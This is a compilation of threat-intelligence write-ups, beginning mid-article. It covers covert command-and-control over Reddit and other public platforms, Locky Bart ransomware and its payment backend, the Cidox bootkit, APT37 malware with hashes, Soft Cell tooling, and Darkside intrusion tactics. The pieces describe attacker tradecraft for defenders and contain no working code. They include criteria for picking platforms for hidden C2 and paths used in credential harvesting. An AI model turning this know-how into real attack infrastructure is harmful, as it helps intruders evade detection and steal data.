In terms of an actual threat actor, there exist a few disadvantages as well, both technical and non-technical. I think it's important to highlight these disadvantages because understanding the issues real threat actors may face helps us anticipate and act against these threat actors. First and foremost, in the context of criminal activity, there is an inherent risk involved in utilizing the services of a legitimate platform. In almost every circumstance, legitimate platforms have a means of reaching any and all content that traverses their service. In the case of Reddit, for example, anything posted on a subreddit, private or not, can be accessed by Reddit retroactively, even in the case of that post or comment being deleted. So what does this mean for threat actors? Well, it means that law enforcement has an opportunity to access vast amounts of communications done by their C2, which can reveal troves of information about their campaign that can contribute to legal proceedings. If law enforcement is able to obtain a single implant containing credentials related to your P2C2 activity, they could then in theory obtain legal authority to get all activity for that specific account from the associated platform. This risk does not exist when using traditional C2s, since communications are shared between the implant and an independent server that the attacker controls, with no other parties in the middle (barring ISPs). Therefore, a serious criminal actor who has to legitimately worry about law enforcement will always have that Achilles heel scenario where the platform they’re using pulls the rug out from under them, which could ultimately land them in a jail cell.
Another issue that may arise, which exists for both legal and illegal actors, is the lack of control the attacker has over their communication infrastructure. When an attacker has full control over the infrastructure running a C2, that attacker can explicitly determine when the infrastructure is available, when it’s down for maintenance, and when it needs to “lay low.” This same control does not exist if you’re using a public platform. The attacker doesn’t decide when their communication platform is available; another party does. If Reddit goes down for maintenance, or has some sort of technical issue, attackers using redViper are essentially in the dark if they are relying exclusively on redViper for communications. Now, in practice, it is very uncommon for major platforms like Reddit or Gmail to be completely unavailable, so this issue is, in my view, not too major. So much so, that you may remember that I highlighted the uptime of public platforms as an advantage to P2C2s. However, the lack of control is still something that has to be taken into account.
Now that some of the advantages and disadvantages of these C2s are drawn out, let’s touch on two miscellaneous topics that I feel are also important to note.
## Viable Platforms for a P2C2
The first miscellany I want to talk about is what makes a public platform viable for use with a P2C2. While nearly any public platform can be manipulated for communications, there are certain features that make a platform more viable for scalable campaigns.
Firstly, in order for a platform to be utilized in a coherent P2C2, the platform must have a somewhat mature and accessible API. Programmatically interacting with any sort of service requires an API that developers can easily utilize; this remains true for P2C2 developers as well. In the case of Reddit, I was able to use praw, which is a comprehensible Python module that interacts with the quite feature-rich Reddit API. Without this mature API, it would have been much more difficult to build a working framework, likely to the point where developing the P2C2 over the platform would be nonviable.
The next requirement is disposable and easy-to-obtain accounts and API keys. In my view, in order to build a truly secure and formidable P2C2 campaign, an attacker needs a multitude of accounts that can be used to interact with their select platform. This allows implant builds to be dispersed between an abundance of accounts, reducing the damage done of having a single account from your campaign exposed. In the case of Reddit, creating an account requires no confirmed email, no API “justification request,” and no account requirements (there’s one exception to this, but I’ll disregard it for the sake of brevity). While developing redViper, I was able to spin up new Reddit accounts to hook to my implants in less than 5 minutes. Compare this to a platform like Twitter, where you need a confirmed email address and an API justification form filled out and approved, and it’s easy to see why Reddit is generally more fit for P2C2 activity compared to Twitter.
The final requirement is the ability to control access to your communications within the platform. Currently, there are three platforms in which I have working P2C2 PoCs on: Discord, Google Sheets, and Reddit. Each of these platforms serves my purposes because there’s a way to control access to communications: for Discord, an invite-only channel can be established so only implant/master accounts can send or receive messages. For Google Sheets, permissions for a sheet can be selectively granted to Google accounts. For Reddit, an invite-only private subreddit can be established in which only implant accounts are invited. In all of these cases, unauthorized access to C2 communications can be prevented by only allowing accounts associated with a campaign to see the communications. The only way a party other than the attacker can see communications is if one of the accounts is compromised.
In my opinion, a platform that meets these three core requirements can very well be a viable solution for building a P2C2 framework. With that, let’s jump into the next topic, where we briefly explore past examples of public platforms being used for C2 purposes.
## Real Examples of P2C2 Usage
As stated in the beginning of this writing, I have frequently used redViper as a discussion point because it’s a project that I comfortably understand. However, redViper is far from the first example of a P2C2; there have been multiple instances of public platforms being used by real threat actors. Let’s briefly dive into some examples of real threat actors utilizing public platforms for malicious purposes.
1. **LOWBALL**: The LOWBALL backdoor, utilized by APT “admin@338,” used the Dropbox service for C2 communications. Command requests are sent as files to the Dropbox platform, which are then downloaded and executed by implants, with output being uploaded back to Dropbox. Implants have a Dropbox Bearer API hard-coded into them.
2. **ROCKRAT**: The ROCKRAT Trojan was discovered by Cisco’s Talos Group and was found to use Mediafire, Yandex, and Twitter Cloud for C2 and data exfiltration activities. The threat actor utilizing this RAT has yet to be confirmed, though it’s largely assumed to be North Korean.
3. **DarkHydrus**: DarkHydrus is an Iranian threat group that utilizes the RogueRobin trojan. This malware uses primarily DNS tunneling for C2 communications; however, newer C# versions of the malware have an “x_mode” option, which makes the implant use the Google Drive API for C2 communications instead of DNS Tunneling.
4. **Backdoor.Makadocs**: The Backdoor.Makadocs malware is a trojan targeting Windows 8 systems that uses Google Docs for C2 communications.
5. **Turla**: The Turla group, a well-known Russian APT, used a malicious browser extension which served as a JavaScript-based backdoor. Within this extension, C2 information is obtained by parsing comments on Britney Spears’ Instagram posts.
6. **MiniDuke**: The MiniDuke backdoor parses the posts of a malicious Twitter account to obtain a URL for its C2 server. Like Turla’s implementation, the MiniDuke malware uses public platforms more for staging than actual C2 communications.
These are just some of the examples of public platforms being used in real campaigns. The fact that legitimate threat actors are continuing to use public platforms as a means of C2 communications is a strong indicator that this threat vector will remain potent for the foreseeable future.
## Summary
In summary, P2C2s are a potent C2 family with very obscure and hard to detect communications. The ability for P2C2s to blend in with other network traffic to a degree much higher than traditional C2s makes it a formidable option for threat actors operating in environments with extensive traffic filtering and analysis. While at this point in time P2C2s have only been seen in a few notable examples, I suspect we will see a continuing increase in their development and use, and it is pivotal for defenders and security professionals to understand the advantages and disadvantages of these C2s, and how to properly defend against them. Hopefully, this writing has helped those efforts in some small way. |
# Locky Bart Ransomware and Backend Server Analysis
In this post, we will cover the Locky Bart ransomware. The developers of Locky Bart already had two very successful ransomware campaigns running called “Locky” and “Locky v2”. After some users reported being infected with Locky Bart, we investigated it to find the differences to gain greater knowledge and understanding of this new version.
The Locky Bart ransomware has new features that are different from its predecessors. It can encrypt a machine without any connection to the Internet. It also has a much faster encryption mechanism.
Our research indicates that the backend infrastructure of Locky Bart might be maintained by a different threat actor than the original versions. While the internals of the malicious binary share many similarities, there were some notable differences, including comments in the code of the application and the kind of software used in the backend server. This did not come as a surprise, as cyber-criminals are known to share, rent, sell, and even steal malicious code from one another.
## Analysis of Locky Bart’s Binary
In previous incarnations, Locky Bart used a simpler encryption process. They enumerated the files targeted for encryption, placed each in a password-protected ZIP archive, and repeated this process until all the files were encrypted. The creators did not use the AES ZIP protection but an older algorithm, allowing researchers to create a decrypting application.
Locky Bart performs a straightforward set of actions to encrypt the victim’s files:
- Wipe System Restore Points with VSSadmin.
- Generate a seed to create a key to encrypt user’s files.
- Enumerate the files it wants to encrypt, skipping certain folders to speed it up.
- Encrypt the enumerated files with the generated key.
- Encrypt the key used to encrypt the files with a master key, which now becomes the victim’s “UID” used to identify them.
- Create a ransom note on the desktop with a link to a payment page and their “UID”.
The function used to generate a seed, which is used to create a key to encrypt the files, uses variables like system time, process ID, thread ID, process alive time, and CPU ticks to generate a random number.
Locky Bart will skip any folders with certain strings in them. The string that Locky Bart uses to make a ransom note includes a payment server address and a sample UID that would be sent with the URL to the server for the victim to make a payment. The UID is only an encrypted version of the key that can be used to decrypt a victim’s files.
How the creators of Locky Bart acquire the key differentiates this version from its predecessors. When the victim of the ransomware visits the URL to make their payment for the ransom, they are unknowingly sending their decryption key to the criminals.
Let’s break down the process in a more granular method:
- Locky Bart gathers information on the victim’s machine to create an encryption key.
- Locky Bart encrypts the user’s files using the seeded key created in the previous step.
- Locky Bart then encrypts the key that was used for the original encryption with a one-way encryption mechanism, using the public key of a public/private key pair method.
- The private key for this second encryption resides on the malicious server and is never accessible to the victim.
Locky Bart then generates a URL on the victim’s machine. It contains the link to a TOR cloaked .onion address where the malicious backend website is hosted. This URL has a user ID within it. This UID is the original decryption key, in encrypted form. The victim visits the .onion site, and the malicious server harvests the encrypted UID. This UID is useless to the victim because they do not have the private key to decrypt their files. However, the ransomware creator’s server does, meaning the server can not only use the UID to identify the victim but also decipher the UID into their victim’s key upon payment of the ransom.
In the end, only the ransomware creators can decrypt the user’s files, and because of this feature, there is no need to access the malicious server to encrypt them.
## Locky Bart Software Protection Technique
The Locky Bart binary also uses a software protection technique known as code virtualization, added to the Locky Bart binary by using a program called “WPProtect”. This makes reversing the binary significantly more difficult to disassemble and complicates stepping through the code, a technique used to understand what it does. Legitimate uses of this type of software are most typically seen in anti-piracy mechanisms. The author of Locky Bart probably chose this particular anti-tampering mechanism as it is free, open source, and provides many features. This adoption of software protection techniques is a troubling development, as these applications make reversing and analysis significantly more challenging.
## The Locky Bart Server
The second half of Locky Bart is the server and backend. This server is used to provide the victims with a payment mechanism to pay the ransom:
- Receive the bitcoins used as a payment method.
- Transfer the bitcoins to other wallets.
- Generate a decryption EXE for the victims.
- Provide the victims with the decryption EXE.
- Accrue additional information on the victims.
The Locky Bart backend runs on a framework called Yii, a high-performance PHP framework best for developing Web 2.0 applications. This framework contains a wealth of information on the inner workings of Locky Bart.
Access to this control panel revealed:
- Every configuration setting for all the software running on the server such as PHP, Bootstrap, Javascript, Apache, Nginx, ZIP, and more.
- Every request made to the server, including their request information, header information, body, timestamp, and where they originated.
- Logs that showed every error, trace, and debug item.
- All the automated email functions.
- MYSQL monitoring that showed every statement made and its return.
Locky Bart stores information in a MYSQL database. The credentials to the MYSQL server reside in a “Config” PHP file in the “Common” folder of the site. The information contained in the MYSQL database consists of the victims' Unique Identifier, the encryption key, Bitcoin Address, Paid Status, and Timestamps.
The Locky Bart server also contains a second database that holds further information on the victims of the ransomware.
The Locky Bart server contains a “BTCwrapper.php” which uses a “controller” method that exposes a BTC Wallet Class that all other PHP files can call. This class initiates a connection to the Bitcoin servers through a username and password. This class contained complete methods on controlling and using the main BTC wallet set up by the criminal to store all the money received. This wallet is emptied regularly and can create new BTC Addresses as well, with the ability to empty those wallets on payment to the main wallet. There were also methods to check on the status of payments from each victim.
The Locky Bart server had two Bitcoin addresses where victims’ payments were transferred. The current BTC address associated with Locky Bart has accumulated $7,671.60 in its lifetime, and an older BTC address had accumulated $457,806.06.
The server portion of this ransomware was configured to function very similarly to a legitimate business. It mirrored a “Support Ticket Department” where the user could contact the ransomware support for any issues they may have experienced. The process was completely automated. The user would get infected and visit the site as their ransom note instructed. When they visited the site, the server would then generate their unique BTC address and present it to them automatically.
After this, if the user decided to pay the ransom but had any questions, they could contact support. If they did indeed make the decision to pay, they would proceed to buy Bitcoins through various methods available (BTC ATM, LocalBitcoins, banks, wiring like Western Union, or buy them with a credit card online). Once the user has the amount specified by the ransomware in their own BTC Wallet, they would then transfer the money from their wallet to the Payment Address the Ransomware Payment Page generated for them.
The Ransomware Server checks every few minutes if a payment has been made for any of its victims and if the payment had been confirmed. Once the server verifies a payment, they mark that victim in the Database as “Paid”. When a victim is marked as “Paid”, the server then generates a “Decryption Tool EXE” and writes the user's Encryption Key in the binary of that exe, presenting a link to download it on the personal payment page of the victim. Later, when the victim checks their payment page again, they will see the link, download the tool, and decrypt their files.
## Conclusion
This research into Locky Bart ransomware provides a great view of the side of a ransomware operation that we typically do not get to see: the backend. The criminals who run these operations do so at an extremely professional level, and users should always take an extra step in protecting themselves from these types of attacks. Ransomware will continue to grow and get more advanced, and users need to ensure they are protected through backups, security application protection like Malwarebytes, and some form of anti-ransomware technology. Users running Malwarebytes already have protection from ransomware, as Malwarebytes is equipped with anti-ransomware technology. |
# Cybercriminals Switch from MBR to NTFS
**Authors**
Vyacheslav Zakorzhevsky
Modification of the hard drive areas responsible for the initial loading of the system has become increasingly popular with cybercriminals. Moreover, cybercriminals have now moved on from just modifying the MBR (master boot record) to infecting the code of the NTFS loader.
We recently discovered an interesting piece of malware — Cidox. It is peculiar in that it infects the load area code of the boot partition on the hard drive. The master file Trojan-Dropper.Win32.Cidox “carries on board” two driver rootkits (Rootkit.Win32/Win64.Cidox). One is compiled for 32-bit platforms, the other for 64-bit platforms.
The source component of Cidox makes the following modifications to the beginning of the hard drive:
- Saves the relevant driver to free sectors at the beginning of the hard drive.
- It chooses the section marked as the boot partition in the MBR partition table for infection. It is important to note that it only infects partitions with the NTFS file system.
- Writes part of its code over Extended NTFS IPL (Initial Program Loader), which is responsible for parsing the MFT table (Master File Table), searching for the file with the loader in the root directory of the section (ntldr — pre-Vista, bootmgr — Vista+), reading this file from the disk and transferring control to it. At the same time, the original contents of Extended NTFS IPL are encrypted, saved, and added to the end of the malicious code.
The next time the system is booted, the malicious code in the load area will be invoked. With the help of a known technique, use of the Int 13h interrupt and some Windows kernel features, it successfully loads the malicious driver to the system. The loaded driver uses PsSetCreateProcessNotifyRoutine to control the launch of the following processes:
- svchost.exe
- iexplore.exe
- firefox.exe
- opera.exe
- chrome.exe
If the launch of one of the processes above is detected, one more Cidox component is integrated into it — a dynamic library (Trojan.Win32.Cidox). This library modifies any browser output, substituting it with its own. As a result, the user sees a browser window displaying an offer to renew the browser due to some malicious programs allegedly detected on the system. The example below tells the user to renew the browser due to infection by Trojan.Win32.Ddox.ci.
Of course, the user is asked to pay for the ‘renewal’. In order to obtain it, an SMS has to be sent to a short number. A unique page design is used for each of the most popular browsers. It should be noted that new versions of browsers can in fact be downloaded free of charge from the vendor’s website. Cybercriminals are merely scaring users in order to extort money from them.
**Malware Technologies**
- MBR
- Rootkits
- Trojan-Dropper |
# APT37: Final1stspy Reaping the FreeMilk
Researchers at Palo Alto Networks recently published a report regarding the NOKKI malware, which has shared code with KONNI and, although not in the report by Palo Alto, KimJongRAT (discovered by Paul Rascagnères of Cisco Talos in 2013). There is evidence of the NOKKI malware connecting to the North Korean threat actor known as APT37, Reaper, or Group123.
The malicious document related to NOKKI, using VBScript, downloads a newly discovered malware named Final1stspy, due to the PDB string inside. As noted by Palo Alto Networks, Final1stspy comes in 2 components, the EXE named “LoadDll” with the sole purpose of loading up a DLL payload, internally named “hadowexecute.” After collecting information about the infected computer, the end result is that the DOGCALL malware, also known as ROKRAT, is downloaded as the final payload, thus being one of the links between NOKKI and APT37.
## LINKS THROUGH CODE REUSE
The DLL payload component under the hash that was listed in the report was not available on VirusTotal. We created some YARA signatures from the code of “LoadDll” and did a hunt via VirusTotal. Since the EXE component shares code with the DLL, the YARA hunt led us to find an earlier version of the DLL component of Final1stspy with 2/67 detections, compilation timestamp of May 21, 2018, and first upload to VirusTotal date of July 11, 2018. This is an earlier version than described in the Palo Alto report. After obtaining the shadowexecute DLL component, we checked to see if there was any code reuse in the Intezer Analyze™ system.
We see that there is some code shared between the EXE component of Final1stspy and other code that has been seen before in the FreeMilk campaign which utilized ROKRAT. Let’s see the shared code between ROKRAT and Final1stspy by doing a comparison of these functions in IDA. If you take a look, there is an identical match between them.
This function is unique code that has only been seen before in Group123’s ROKRAT and the DLL component of Final1stspy. The identical function gathers information about the operating system and stores it in the same format.
## CONCLUSION
The evidence in Group123 being the threat actor involved here does not only lie in the final delivered payload, but in the code itself. This code reuse provides more evidence towards the relationship of KimJongRAT, KONNI, NOKKI, Final1stspy, ROKRAT, and APT37.
## IoCs
**Final1stspy**
- 2011b9aa61d280ca9397398434af94ec26ddb6ab51f5db269f1799b46cf65a76 (DLL)
- 0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a (DLL)
- fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a (EXE)
**Group 123 (FreeMilk / ROKRAT Samples)**
- 99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5
- 01045aeea5198cbc893066d7e496f1362c56a154f093d1a8107cecad8d4e4df2
- 26ad5f8889d10dc45dcf1d3c626416eb604f5fe4a7268e044f17a3ab6ff14e53
- 65ec544841dbe666d20de086495158128ddffb8b076ddb801a3f2dc250481135
- 7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df
- ef40f7ddff404d1193e025081780e32f88883fa4dd496f4189084d772a435cb2 |
# CRACKING A SOFT CELL IS HARDER THAN YOU THINK
**Markus Neis / Swisscom**
Twitter: @markus_neis
Keybase: yt0ng
## Operation Soft Cell v1.0
- 3rd party collection campaign revealed by Cybereason in 2019
- Targeting Telco providers
- Goal: obtaining Caller Detail Records (CDR)
- China-nexus state sponsored threat actor also known as Gallium (Microsoft)
- Suspected APT10
## Operation Soft Cell v2.0
- 3rd party collection campaign also discovered by Cybereason
- Targeting Telco providers
- Goal: obtaining Caller Detail Records (CDR)
- Actors shared access to victim(s) with another CN actor
- Links to APT10 but also APT41 and LuckyMouse
- Sloppy OPSEC Actor
## How it all started
Jun 25th 2019: Checking the news in the morning
### The hidden clue
- Poison Ivy as described by Cybereason
- Side-loaded via RunHelp.exe
- Persistence by scheduled task
- C2 in Costins list
### Poison Ivy Builder
Found via hunting for side-loading via RunHelp.exe based on created samples. Phantom Creator is likely the builder used for samples mentioned by Cybereason.
### PlugX
Another side-loading technique found in PlugX sample: `7a1d592339db1f0d1e76294a62ec842b` self-extracting RAR PE File that extracts the files:
- mcoemcpy.exe
- mcutil.dll
- antivir.dat
Copies them into `C:\ProgramData\SamSungHelp` and uses mcoemcpy.exe, a legitimate McAfee binary to load mcutil.dll.
### C2s:
- IPs Hosting in HK
- Domains aligned with Costins reply
### Crowdstrike in 2018
- CN Actor targeting Think Tanks and Asian Telco
- PlugX and Trochilus
- Hosting Infrastructure in HK
- Same side-loading also reported by Crowdstrike
### Trochilus Sample
Sample: `a8366127d37ab82fa37b612b3bfd046e`
Nullsoft Installer dropping:
- ImagingDevices.exe (signed MS binary)
- ImagingEngine.dll
- activeds.dll
- photo.dat
Into `C:\ProgramData\Windows Imaging Devices Network Sharing Service\`
### Similarity Engine by Kaspersky
GReAT showed 99% similarity with RedLeaves.
### Gh0st
C2 analysis identified a variant of Gh0st RAT:
- Sample: `9fda6a46c96a9ee0b87c2313ba04bf2b`
- Simple Installer drops Gh0st RAT into:
- `C:\WINDOWS\system32\rmtClt.exe`
- OR `C:\Windows\SysWOW64\rmtClt.exe`
### Gh0st Config
- The config was stored in the overlay of the file consisting of 4 blocks
- Simply base64 encoded, increasing every byte value by 0x7A and XORed by 0x19
1. Service creation details including service name and service description
2. Command and control
3. Run options
4. Installer Path
### Gh0st Builder
Date submitted | MD5 | PDB | VT subm. id | Country
--- | --- | --- | --- | ---
06.08.2018 | 1a7cbfae5796ebbef5c8c150e461f2e7 | E:\vs_proj\gh0st3.6_src_Unicode\gh0st\Release\gh0st.pdb | 552a02f1 | HK
19.09.2018 | 2f089510d01ca58460d0debff4962700 | E:\vs_proj\remoteServer\Release\remoteServer.pdb | 552a02f1 | HK
25.09.2018 | 648eee77fa92d07f4747a72970f944e9 | E:\vs_proj\remoteManager\Release\remoteServer.pdb | 53e18eaa | HK
11.10.2018 | d9c25f0c43ffc64a99ad709c8d8e9496 | E:\vs_proj\remoteManager\server\Release\remoteServer.pdb | 29cab6fa | KR
22.10.2018 | bc7bbeb92078f9289cfb94e3a6eb193a | E:\vs_proj\remoteManager_new\server\Release\remoteServer.pdb | 552a02f1 | HK
20-11-2018 | 00a928b681e545c0ae859c56f2dfd160 | E:\vs_proj\simplify_modify\Win32\simplify.pdb | a493c16c | HK
### Mimikatz
Date submitted | Name | MD5 | PDB | VT subm. id | Country
--- | --- | --- | --- | --- | ---
20-11-2018 | simplify_32.exe | 00a928b681e545c0ae859c56f2dfd160 | E:\vs_proj\simplify_modify\Win32\simplify.pdb | a493c16c | HK
Mimikatz signed with stolen Whizzimo, LLC Certificate. Only used by Soft Cell?
### Mandiant IR: Grab a bag of Attacker Activity
Same certificate has been reported by Mandiant to be used by APT41.
### More links to APT41
File names | Signer | Thumbprint | MD5 | Submitter
--- | --- | --- | --- | ---
39_64d.exe | Whizzimo, LLC | 32078AC8E12F61046AEC24F153B1E438A36100AC | fee9bc26f55c2049e1b64616a442dc7b | a493c16c
simplify_32.exe | Whizzimo, LLC | 32078AC8E12F61046AEC24F153B1E438A36100AC | 426ce7bf9e1e7c43f6dc05438798be8c | a493c16c
### configMoudle.exe
- .NET dropper for a modified China Chopper we only have seen in Soft Cell activity (in our terms)
- Based on PDB we refer to as DeployFilter
- Webshell is found in droppers resources
- Module is then added to IIS as `C:\Windows\System32\inetsrv\Config\applicationHost.config`
### Soft Cell and Lucky Mouse?
Based on VT uploads we identified a victim:
- With DeployFilter / Chipshot uploaded to VT 4 months before the same victim
- Uploaded a signed malicious NDISProxy driver attributed by Kaspersky to Lucky Mouse
### Do Soft Cell, APT10, APT41 and Lucky Mouse share:
- Tools
- Capabilities
- Victims
### Are the Soft Cell actors part of any of these groups (subgroup / contractors)?
Simple answer: No Idea.
Thank you. |
# Return of the Darkside: Analysis of a Large-Scale Data Theft Campaign
Our team has recently led several high-profile investigations of attacks attributed to an up-and-coming cybercrime group, Darkside. These highly targeted campaigns were conducted in several phases over weeks or months, ultimately targeting theft and encryption of sensitive data, including backups. In this technical blog post, we will review the tactics, techniques, and procedures (TTPs) we’ve observed.
## About Darkside, Inc.
The Darkside ransomware group announced their RaaS (Ransomware-as-a-Service) in August of 2020 via a “press release.” Since then, they have become known for their professional operations and large ransoms. They provide web chat support to victims, build intricate data leak storage systems with redundancy, and perform financial analysis of victims prior to attacking.
The group’s name, Darkside, evokes the image of a good guy (or gal) that has turned from the light. While we can’t conclude that the group is comprised of former IT security professionals, their attacks reveal a deep knowledge of their victims’ infrastructure, security technologies, and weaknesses. They have publicly stated that they prefer not to attack hospitals, schools, non-profits, and governments, but rather big organizations that can afford to pay large ransoms.
Our reverse engineering revealed that Darkside’s malware will check device language settings to ensure they don’t attack Russia-based organizations. They have also answered questions on Q&A forums in Russian and are actively recruiting Russian-speaking partners. The group has both Windows and Linux toolsets. Much like NetWalker and REvil, Darkside has an affiliate program that offers anyone who helps spread their malware 10-25% of the payout.
## Anatomy of an Attack
The Darkside ransomware attack campaigns stood out for their use of stealthy techniques, especially in the early stages. The group performed careful reconnaissance and took steps to ensure that their attack tools and techniques would evade detection on monitored devices and endpoints. While their initial entry vectors vary, their techniques are more standardized once inside, and their endgame is coldly efficient.
Stealth tactics include:
- Command and control over TOR
- Avoiding nodes where EDR is running
- Waiting periods & saving noisier actions for later stages
- Customized code and connection hosts for each victim
- Obfuscation techniques like encoding and dynamic library loading
- Anti-forensics techniques like deleting log files
During the later stages of their attack sequence, they:
- Harvest credentials stored in files, in memory, and on domain controllers
- Utilize file shares to distribute attack tools and store file archives
- Relax permissions on file shares for easy harvesting
- Delete backups, including shadow copies
- Deploy customized ransomware
## Initial Access: Finding the Weak Link
Darkside ransomware gained initial entry through weak links – remotely exploitable accounts and systems. We observed Darkside use compromised contractor accounts to access Virtual Desktop Infrastructure (VDI) that had been put in place to facilitate remote access during the pandemic. We also observed them exploit servers, and then quickly deploy an additional RDP that would preserve access should the vulnerable server be patched.
While neither of these vectors is novel, they should serve as a warning that sophisticated threat actors are easily bypassing perimeter defenses. They illustrate the need for multi-factor authentication on all internet-facing accounts and rapid patching of internet-facing systems.
## Command and Control
The Darkside ransomware attackers established command and control primarily with an RDP client running over port 443, routed through TOR. After installing a Tor browser, they modified its configuration to run as a persistent service, redirecting traffic sent to a local (dynamic) port through TOR via HTTPS over port 443, so it would be indistinguishable from normal web traffic. These connections were persistent, so the attackers could establish RDP sessions to and through the compromised hosts, facilitating lateral movement.
We found traces of TOR clients across many servers and observed dozens of active TOR connections. The attackers used Cobalt Strike as a secondary command and control mechanism. We observed dozens of customized stagers that downloaded customized beacons that connected to specific servers. The stagers (named file.exe) were deployed remotely on specific targeted devices using WinRM, each one configured differently. Cobalt-Strike stagers established connections to a dedicated C2 server to download the Cobalt Strike Beacon.
Threat actors commonly use only a few C2 servers per victim, but Darkside configured each beacon to connect to a different C2 server with a different user agent. This would indicate that Darkside operates a large, well-established attack infrastructure. The stagers and TOR executables were stored in network shares for easy distribution. The actors avoided installing backdoors on systems monitored by EDR solutions.
## Detection of the Beacon Being Downloaded into a Compromised Server
We observed the threat actors log into the Virtual Desktop environment with many accounts, sometimes concurrently. Each time the threat actor logged on, .lnk files were created in the compromised user’s home folders. The .lnk file activity helped determine which accounts and VDI environments had been compromised and when each account was used in the attack.
## Recon and Credential Harvesting
Darkside ransomware is known for living off the land (LOtL), but we observed them to scan networks, run commands, dump processes, and steal credentials. Like the command and control code, the attack tools were also executed on hosts that had minimal detection and blocking capabilities. Well-known tools included advanced_ip_scanner.exe, psexec, Mimikatz, and more.
From the initial set of compromised hosts, ticket requests, and NTLM connections to gain access to additional systems and accounts. After a waiting period, the actor used an Active Directory reconnaissance tool (ADRecon.ps1) to gather additional information about users, groups, and privilege, storing results in a file called DC.txt. Each of their attack tools was deleted after use. The attacker temporarily stored the recon results and credential information on a very active Windows server. Interesting file names written and deleted on the server included: Typed_history.zip, Appdata.zip, IE_Passwords.zip, AD_intel, and ProcessExplorer.zip.
In addition to credential harvesting, the attacker mined credentials from User profile folders, including:
- Users\<user name>\Appdata\[Roaming\Local]\Microsoft [Credentials\Vault]
- Users\<user name>\Appdata\Roaming\Mozilla\Firefox\Profiles
- Users\<user name>\\Appdata\Local\Google\Chrome
The threat actor used Invoke-mimikatXz.ps1 to extract credentials from unmonitored servers and stored them in a file called “dump.txt.” This operation was performed on a high-value target with minimal detective capabilities. Once the attacker obtained domain admin credentials, they accessed domain controllers. In later stages, they performed the well-known DCSync attack, where the attacker pretends to be a legitimate domain controller and utilizes the Directory Replication Service to replicate AD information, gaining access to password data for the entire domain, including the KRBTGT HASH.
## Data Collection and Staging
The active Windows server also served as a hub to store data before exfiltration. Data was mined from hundreds of servers with a batch routine (dump.bat) located in \Desktop\Dump, writing files to the same location, compressing them into 7zip archives with a simple naming convention, *.7z.[001]-[999]. Though they had accumulated elevated privileges, we observed the attacker relax the permissions on file systems, opening them up so that they could access the files with any domain user account. The batch file, target data, and the archives were deleted by the attackers within hours of collection.
## Encryption
Darkside doesn’t deploy ransomware until they’ve mapped the environment, exfiltrated interesting data, gained control of privileged accounts, and identified all backup systems, servers, and applications. We observed several connections to primary backup repositories using compromised services accounts shortly before encryption. By holding off on the encryption phase of the attack, they put themselves in a position to maximize damage and profit.
The ransomware code is delivered through established backdoors (TOR-RDP or Cobalt Strike) and is customized for each victim. The payload includes the executable, a unique extension, and a unique victim ID that allows the victim to access Darkside’s website and make payment. By using unique executables and extensions, the ransomware easily evades signature-based detection mechanisms. Darkside also provides customized ransomware to other threat actors (Ransomware as a Service) and takes a part of the profit in successful attacks.
One version of the customized code was named “Homie.exe.” In addition to being customized, we found it also uses anti-forensics and anti-debugging techniques, such as self-injection, virtual machine detection, and dynamic library loading. It also deletes shadow copies on victim devices.
### Darkside Ransomware Stage 1 – Self Injection
On execution, the malware copies itself to the path “C:\Users\admin\AppData\Local\Temp\” and injects its code into the existing process with a CMD command. If the malware finds indications that it is being debugged or run in a VM, it immediately stops. To avoid detection by AV and EDR solutions, the ransomware dynamically loads its libraries, without registering them in its imports section. Only three libraries are imported, which indicates that other libraries’ names resolved dynamically during the malware’s run instead of being explicitly imported.
### Ransomware Stage 2 – Deletion of Shadow Copies
Using an obfuscated PowerShell command, the malware attempts to delete the shadow copies on the victim device.
### Ransomware Stage 3 – Encryption of Files
After the deletion of the shadow copies, the malware first closes specific processes to avoid locked files that can delay encryption, and then begins its encryption routine.
List of processes:
- sql
- oracle
- ocssd
- dbsnmp
- synctime
- agntsvc
- isqlplussvc
- xfssvccon
- mydesktopservice
- ocautoupds
- encsvc
- firefox
- tbirdconfig
- mydesktopqos
- ocomm
- dbeng50
- sqbcoreservice
- excel
- infopath
- msaccess
- mspub
- onenote
- outlook
- powerpnt
- steam
- thebat
- thunderbird
- visio
- winword
- wordpad
- notepad
During encryption, the malware appends an 8-character string to the end of the encrypted file names. Darkside ransomware avoids encrypting files with the following extensions: 386, adv, ani, bat, bin, cab, cmd, com, cpl, cur, deskthemepack, diagcab, diagcfg, diagpkg, dll, drv, exe, hlp, icl, icns, ico, ics, idx, ldf, lnk, mod, mpa, msc, msp, mssty. It creates ransom instructions (“README…txt”) to contact the ransomware creator for decryption.
## How to Prepare for Threat Actors in 2021
Find and fix the weak links before attackers do. Any internet-facing account that doesn’t require MFA is a brute-force attack away from a compromise. Any unpatched internet-facing server is an exploit away from script-kiddie payday.
Assume breach and fix weak links inside. Threat actors look for quick ways to obtain domain admin credentials. Service or admin accounts with SPNs that also have weak encryption, or worse still, privileged accounts with weak or no password requirements are too-easy targets. In too many organizations, attackers don’t even need elevated credentials to harvest data – the average employee has access to far more data than they require. Lockdown sensitive data so that only the right accounts have access, and then monitor file systems for unusual access and change events.
More lights, please, especially on stuff that matters. Organizations with comprehensive monitoring solutions detect and investigate attacks like these more quickly. If you have blind spots on core data stores, in Active Directory, DNS, remote access systems, or in web connections, you’ll struggle to determine which systems were compromised and whether sensitive data was stolen.
If you detect a breach, let Active Directory triangulate the blast radius. Active Directory events can help you quickly identify compromised accounts and devices. Instead of focusing on one endpoint at a time, once one compromised account or system has been identified, query Active Directory for signs of lateral movement by that account or accounts used on that system.
If you have any reason to believe you’ve been targeted by Darkside or any other group, please don’t hesitate to reach out for incident response and forensics help.
A special thanks to Rotem Tzadok for leading our Darkside investigations and analysis.
Snir Ben Shimol
Director of Cyber Security, Varonis
Snir is the Head of Cyber Security at Varonis, a software company specializing in data security and insider threat detection. Snir began his career in the IDF Technology and Intelligence Unit and continued as a Security Researcher in the Israeli Prime Minister’s Office. Since then he has worked in the Advanced Security Center of EY as the Cyber Security Advisory Leader, managing red-team operations and risk assessments. He has advised major international corporations and high-profile individuals to build their security resilience and protect their organization. Prior to his current role, he led Radware’s Cyber Security Research Division, responsible for innovation and security solution capabilities. |
# Alien Labs 2019 Analysis of Threat Groups Molerats and APT-C-37
